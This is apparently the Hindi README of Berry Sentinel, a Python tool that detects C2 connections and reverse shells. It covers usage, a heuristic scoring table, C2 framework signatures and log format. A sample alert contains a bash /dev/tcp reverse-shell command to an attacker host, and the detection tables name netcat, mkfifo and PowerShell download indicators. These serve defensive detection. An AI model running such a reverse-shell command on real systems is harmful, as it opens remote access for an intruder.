
Berry Sentinel v5.0 — Linux/Windows/Unix सिस्टम के लिए उन्नत व्यवहारिक C2 और रिवर्स शेल डिटेक्टर। इसमें रीयल-टाइम कनेक्शन विश्लेषण, ह्यूरिस्टिक स्कोरिंग, C2 फ्रेमवर्क सिग्नेचर पहचान, बीकन इंटरवल विश्लेषण, और प्रोसेस किल इंजन के साथ एक इंटरैक्टिव कर्स-आधारित TUI शामिल हैं।
रीयल-टाइम C2 (कमांड एंड कंट्रोल) कनेक्शनों का व्यवहारिक डिटेक्टर
ज़ीरो-सिग्नेचर · बुलेटप्रूफ़ कलेक्शन · डीप स्कैन · किल इंजन
Berry Sentinel आपके सिस्टम पर सभी सक्रिय नेटवर्क कनेक्शनों की निगरानी करता है और उन्हें उत्पन्न करने वाली प्रक्रियाओं के व्यवहार का विश्लेषण करता है — बिना एंटीवायरस सिग्नेचर डेटाबेस या ब्लॉक की गई IP सूचियों का उपयोग किए — ताकि दुर्भावनापूर्ण गतिविधि का पता लगा सके।
यह रिवर्स शेल, वेबशेल, RAT, C2 बीकन और Meterpreter, Cobalt Strike, Sliver या Empire जैसे फ्रेमवर्क का पता लगाता है, यह देखकर कि कोई प्रक्रिया कैसे व्यवहार करती है: यदि किसी Python इंटरप्रेटर का stdin किसी रिमोट सॉकेट से जुड़ा है, तो वह संदिग्ध है, भले ही IP अज्ञात हो।
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo ║
║ Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTO ESTADO FIRMAS/TAGS ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █CRÍTICO 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲ALTO 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil वैकल्पिक# रिपॉजिटरी को क्लोन करें
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (वैकल्पिक लेकिन अनुशंसित) psutil स्थापित करें
pip install psutil
# चलाएँ
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # Termux में curses उपलब्ध नहीं हो सकता
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [विकल्प]
विकल्प:
--all, -a स्थानीय/लूपबैक कनेक्शन भी शामिल करें (रिमोट के अलावा)
--interval N, -i N प्रत्येक N सेकंड में ताज़ा करें (डिफ़ॉल्ट: 2, न्यूनतम: 0.5)
--log FILE, -l FILE अलर्ट को फ़ाइल में सहेजें (JSONL प्रारूप)
--json, -j बाहर निकलने पर पूर्ण JSON निर्यात करें
--whitelist LISTA अनदेखा करने के लिए IP या CIDR, अल्पविराम से अलग
--no-color बिना ANSI रंगों के (पाइप या लॉग के लिए उपयोगी)
--verbose, -v सभी कनेक्शन दिखाएँ, न कि केवल संदिग्ध
--top N, -t N तालिका में अधिकतम पंक्तियाँ (डिफ़ॉल्ट: 50)
--diag, -d निदान: दिखाएँ कि कौन सी संग्रह विधियाँ काम कर रही हैं
--no-tui curses के बिना लीगेसी मोड (क्लासिक स्क्रॉल, अधिक पोर्टेबल)
--version, -V संस्करण दिखाएँ और बाहर निकलें
# इंटरैक्टिव TUI — अनुशंसित मोड
python3 BerrySentinel.py
# रूट के साथ डीप स्कैन (प्रक्रिया मेमोरी तक पहुँचता है)
sudo python3 BerrySentinel.py --all
# अलर्ट सहेजें और समाप्त होने पर JSON निर्यात करें
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# आंतरिक नेटवर्क को अनदेखा करें और प्रत्येक 5 सेकंड में ताज़ा करें
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# स्क्रिप्ट या SSH में बिना इंटरैक्टिव टर्मिनल के उपयोग के लिए टेक्स्ट मोड
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# देखें कि वर्तमान सिस्टम पर कौन सी संग्रह विधियाँ काम कर रही हैं
python3 BerrySentinel.py --diag --no-tui
# केवल गंभीर अलर्ट, प्रत्येक 10 सेकंड में अद्यतन, लॉग सहेजें
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
प्रत्येक कनेक्शन को पहचाने गए संकेतकों के अनुसार 0 से 100 तक का स्कोर मिलता है:
स्कोर के अनुसार गंभीरता:
Berry Sentinel में निम्नलिखित फ्रेमवर्क के लिए सिग्नेचर शामिल हैं (पोर्ट, प्रक्रिया नाम, कमांड लाइन और बीकन पैटर्न द्वारा मूल्यांकन):
प्रत्येक अलर्ट को एक स्वतंत्र JSON पंक्ति के रूप में रिकॉर्ड किया जाता है:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
jq के साथ प्रसंस्करण:
# केवल क्रिटिकल कनेक्शन फ़िल्टर करें
jq 'select(.sev == "CRÍTICO")' sentinel.log
# सभी संदिग्ध PID देखें
jq '[.pid] | unique' sentinel_export.json
# विशिष्ट सिग्नेचर द्वारा खोजें
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── ग्लोबल कॉन्स्टैंट
│ ├── SHELL_BINS, SCRIPT_ENGINES — शेल और इंटरप्रेटर के नाम
│ ├── C2_SUSPECT_PORTS — विशिष्ट C2 पोर्ट
│ ├── PRIVATE_NETS — निजी IP रेंज
│ └── C2_SIGNATURES — ज्ञात फ्रेमवर्क के सिग्नेचर
│
├── डेटा मॉडल
│ ├── C2Signature — C2 सिग्नेचर परिभाषा
│ ├── ProcInfo — OS प्रक्रिया जानकारी
│ ├── Conn — नेटवर्क कनेक्शन + विश्लेषण परिणाम
│ └── BeaconTracker — C2 बीकन डिटेक्टर
│
├── डेटा संग्रह
│ ├── Collector — एकाधिक नेटवर्क स्रोतों का आयोजन
│ ├── parse_proc_net_content() — /proc/net/* पार्सर
│ ├── build_inode_pid_map() — inode→PID मैप
│ ├── get_proc_info() — /proc के माध्यम से प्रक्रिया जानकारी
│ └── get_proc_info_psutil() — psutil के माध्यम से प्रक्रिया जानकारी
│
├── विश्लेषण
│ ├── Engine.analyze() — स्कोर + व्यवहार टैग
│ ├── Engine._beacon() — बीकन डिटेक्शन
│ └── match_signatures() — C2 सिग्नेचर मिलान
│
├── आउटपुट
│ ├── CursesTUI — इंटरैक्टिव TUI (डिफ़ॉल्ट मोड)
│ ├── LegacyTUI — curses के बिना ANSI आउटपुट (फ़ॉलबैक)
│ └── Logger — डिस्क पर JSONL लॉग
│
└── Sentinel — मुख्य आयोजक
psutil — वैकल्पिक लेकिन अत्यधिक अनुशंसित (pip install psutil)बिना अतिरिक्त निर्भरता के, टूल Python stdlib के साथ काम करता है। psutil macOS और Windows पर कवरेज जोड़ता है जहाँ /proc मौजूद नहीं है।
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MiRAT",
description="अनधिकृत आंतरिक कॉर्पोरेट RAT",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[ALERTA] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MiEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# अपना स्वयं का तर्क जोड़ें
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel को अपने स्वयं के सिस्टम या उन सिस्टमों की निगरानी के लिए डिज़ाइन किया गया है जिन पर आपके पास स्पष्ट प्राधिकरण है। किल इंजन केवल तभी कार्य करता है जब उपयोगकर्ता स्पष्ट रूप से इसका अनुरोध करता है। इसका जिम्मेदारी से और अपने क्षेत्राधिकार में लागू कानूनों के अनुसार उपयोग करें।
MIT — LICENSE देखें
| कुंजी | कार्य |
|---|
↑ / ↓ | कनेक्शनों के बीच नेविगेट करें |
d / D | चयनित कनेक्शन का विवरण पैनल देखें |
k / K | प्रक्रिया को समाप्त करें (PID की पुष्टि माँगता है) |
f / F | गंभीरता फ़िल्टर चक्र: ALL → MEDIO → ALTO → CRÍTICO |
r | तत्काल ताज़ा करने के लिए बाध्य करें |
ESC | विवरण पैनल बंद करें या संक्रिया रद्द करें |
q | बाहर निकलें |
| संकेतक | अंक | टैग |
|---|
| stdin/stdout → socket | +55 | FD→SOCK |
| रिमोट कनेक्शन के साथ बाइनरी शेल | +40 | SHELL→NET |
| वेबशेल (Apache/Nginx के चाइल्ड के रूप में शेल) | +35 | WEBSHELL |
| उच्च पोर्ट पर बाइंड शेल | +35 | BIND-SHELL |
| netcat/socat का उपयोग | +35 | NETCAT |
/dev/tcp या mkfifo पुनर्निर्देशन | +40 | PIPE-REDIR |
| डिस्क से हटाया गया निष्पादन योग्य | +25 | EXE-DEL! |
/tmp या /dev/shm में निष्पादन योग्य | +15 | EXE-TMP |
| बीकन पहचान (चक्रीय कनेक्शन) | +25×conf | BCN(60s) |
| Meterpreter सिग्नेचर | +55 | SIG:Meterpreter |
| Cobalt Strike सिग्नेचर | +60 | SIG:CobaltStrike |
| Sliver सिग्नेचर | +58 | SIG:Sliver |
| RWX मेमोरी क्षेत्र | +20 | RWX(N) |
| LD_PRELOAD या HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| जुड़ा हुआ स्क्रिप्ट इंटरप्रेटर | +25 | INTERP→NET |
| कमांड लाइन में eval/exec | +18 | EVAL |
| रिमोट PowerShell (IEX, DownloadString) | +30 | PS-REM |
| स्कोर | गंभीरता | रंग |
|---|
| ≥ 65 | क्रिटिकल | 🔴 चमकीला लाल |
| ≥ 45 | उच्च | 🟠 नारंगी |
| ≥ 25 | मध्यम | 🟡 पीला |
| ≥ 8 | निम्न | 🔵 सियान |
| < 8 | जानकारी | ⚪ ग्रे |
| फ्रेमवर्क | स्कोर बोनस | प्रमुख संकेतक |
|---|
| Meterpreter | +55 | पोर्ट 4444, प्रक्रिया ruby/msfconsole |
| Cobalt Strike | +60 | पोर्ट 50050, बीकन ~60s, प्रक्रिया java |
| Sliver | +58 | पोर्ट 31337/8888, बीकन ~60s |
| Empire | +55 | पोर्ट 1234/7777, PowerShell -enc |
| Brute Ratel | +62 | पोर्ट 2083, प्रक्रिया badger |
| Havoc | +58 | पोर्ट 40056, demon.x64/x86 |
| Pupy RAT | +52 | पोर्ट 9999, pupy.py |
| Merlin | +54 | पोर्ट 8443, merlin-agent |
| Covenant | +54 | पोर्ट 7443, GruntHTTP |
| PoshC2 | +52 | FComServer, ImplantCore |
| Mythic | +56 | पोर्ट 7443, poseidon/apfell |
| QuasarRAT | +50 | पोर्ट 4782-4785 |
| NetcatShell | +45 | socat exec bash, pty |
| DNS-C2 | +40 | पोर्ट 53, dnscat/iodine |
| सिस्टम | समर्थन | टिप्पणियाँ |
|---|
| Linux | ✅ पूर्ण | रूट के साथ डीप स्कैन सक्रिय करें |
| Android/Termux | ✅ पूर्ण | यदि curses विफल हो तो --no-tui का उपयोग करें |
| macOS | ⚠️ आंशिक | बिना /proc; netstat+psutil का उपयोग करता है |
| Windows | ⚠️ आंशिक | netstat+psutil, बिना मेमोरी विश्लेषण के |